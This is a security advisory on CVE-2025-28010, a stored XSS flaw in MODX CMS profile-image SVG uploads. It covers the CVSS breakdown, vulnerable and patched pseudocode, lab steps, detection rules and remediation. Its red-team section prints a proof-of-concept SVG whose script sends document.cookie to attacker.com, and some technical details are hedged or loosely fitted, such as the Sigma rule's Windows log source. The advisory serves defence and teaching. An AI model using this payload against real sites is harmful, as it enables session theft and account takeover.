CVE-2025-28010

Executive Summary

CVE-2025-28010 is a stored Cross-Site Scripting (XSS) vulnerability in MODX CMS versions prior to 3.1.0. An authenticated attacker with the ability to upload profile images can upload a crafted SVG file containing malicious JavaScript. When other users view the attacker's profile, the SVG is rendered and the JavaScript executes in their browser, leading to session hijacking, data theft, or further compromise. The vulnerability is publicly known, with a proof-of-concept available, but no exploit-db or nuclei template has been published. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (4.3). The vendor has released MODX 3.1.0 to address this issue.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core MODX CMS application. The risk is limited to self-hosted MODX instances. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the attacker's profile
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can lead to account takeover or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the profile image upload functionality of MODX. The application does not properly validate or sanitize uploaded SVG files. SVG files are XML-based and can contain embedded JavaScript via <script> tags or event handlers (e.g., onload). When the SVG is served as an image (e.g., <img src="...">), the browser does not execute scripts. However, if the SVG is served with the correct MIME type (image/svg+xml) and the browser renders it directly (e.g., via <object> or if the image is opened in a new tab), the JavaScript executes. In MODX, the profile image is likely rendered in a context where the SVG is embedded directly (e.g., as a background image or via <img> with src pointing to the SVG file). If the server returns the SVG with Content-Type: image/svg+xml, the browser may execute scripts when the image is loaded, especially if the SVG is loaded in a way that triggers its own rendering context.

The attack flow:

1. Attacker logs in to MODX.
2. Attacker uploads a crafted SVG file as their profile image. The SVG contains a <script> tag with malicious JavaScript.
3. Victim (another authenticated user or admin) views the attacker's profile.
4. The browser loads the SVG, executes the JavaScript, and the payload runs in the victim's session context.

Vulnerable vs. Patched Code

Vulnerable Code (MODX < 3.1.0): The file upload handler likely does not check the MIME type or content of uploaded files. It may accept any file extension, including .svg, and serve it with the original content type.

// Vulnerable upload handler (pseudocode)
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'svg'];
$fileExtension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($fileExtension, $allowedExtensions)) {
    move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath);
    // No content validation
}

Patched Code (MODX 3.1.0): The patched version likely restricts SVG uploads or sanitizes SVG content to remove scripts. It may also enforce strict MIME type checking and serve images with Content-Disposition: attachment or strip <script> tags.

// Patched upload handler (pseudocode)
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$fileExtension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($fileExtension, $allowedExtensions)) {
    // Validate MIME type
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
    if (in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) {
        move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath);
    }
}
// SVG files are rejected entirely

Exploitation & Lab Setup

Red Team

Proof-of-Concept SVG Payload: Create a file named evil.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
    // Steal cookies
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

Lab Setup:

1. Install MODX version 3.0.x (vulnerable) on a local server (e.g., using XAMPP or Docker).
2. Create two user accounts: attacker (with profile edit permissions) and victim (admin).
3. Log in as attacker, navigate to profile settings, upload evil.svg as profile image.
4. Log in as victim, view attacker's profile. The JavaScript executes.

Exploitation Steps:

• The payload can be modified to exfiltrate session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
• Use fetch or XMLHttpRequest to send data to an attacker-controlled server.

Blue Team

Detection:

• Monitor for unusual file uploads with .svg extension.
• Inspect uploaded SVG files for <script> tags or event handlers.
• Review server logs for requests to profile image URLs with image/svg+xml content type.

Hunting:

• Search for SVG files in the uploads directory that contain JavaScript.
• Check database entries for profile images with .svg extension.

Mitigation:

• Block SVG uploads entirely if not needed.
• If SVG uploads are required, sanitize them using a library like DOMPurify or strip <script> tags server-side.
• Serve uploaded images with Content-Disposition: attachment to prevent inline rendering.

Indicators of Compromise (IOCs)

• File Indicators:

  • SVG files in the uploads directory containing <script> tags or event handlers (e.g., onload, onerror).
  • Files with .svg extension in profile image paths (e.g., /assets/images/profile/).

• Network Indicators:

  • Outbound HTTP requests from the MODX server to attacker-controlled domains (e.g., attacker.com/steal).
  • Requests to profile image URLs with Accept: image/svg+xml header.

• Log Indicators:

  • Server access logs showing requests to SVG files with 200 status and image/svg+xml content type.
  • Error logs showing JavaScript execution errors (e.g., SyntaxError).

Detection Engineering

YARA Rule

rule CVE_2025_28010_SVG_XSS {
    meta:
        description = "Detects SVG files with embedded JavaScript indicative of CVE-2025-28010"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28010"
    strings:
        $svg_header = "<svg"
        $script_tag = "<script"
        $event_handler = /on\w+\s*=\s*["']/
    condition:
        $svg_header and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2025-28010 SVG Upload with Embedded Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '.svg'
        TargetFilename|contains: 'uploads'
    filter:
        - Image|contains: 'safe.svg'  # Exclude known safe files
    condition: selection and not filter
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28010 - SVG Upload with Script Tag"; flow:to_server; content:"POST"; http_method; content:".svg"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MODX to version 3.1.0 or later.
2. If upgrade is not possible, disable SVG uploads by modifying the allowed file extensions list in the configuration.
3. Implement a web application firewall (WAF) rule to block SVG files containing <script> tags.

Long-Term Fixes:

• Enforce strict MIME type validation on all file uploads.
• Use a content security policy (CSP) header to restrict script execution.
• Sanitize SVG files server-side using a library like svg-sanitizer or DOMPurify.
• Serve uploaded images with Content-Disposition: attachment to prevent inline rendering.

Workaround:

• Add the following Apache rewrite rule to block SVG files from being served inline:

  RewriteEngine On
  RewriteRule \.svg$ - [F,L]
  

• Or in Nginx:

  location ~* \.svg$ {
      deny all;
  }
  

Valters IT
Securing Digital Frontiers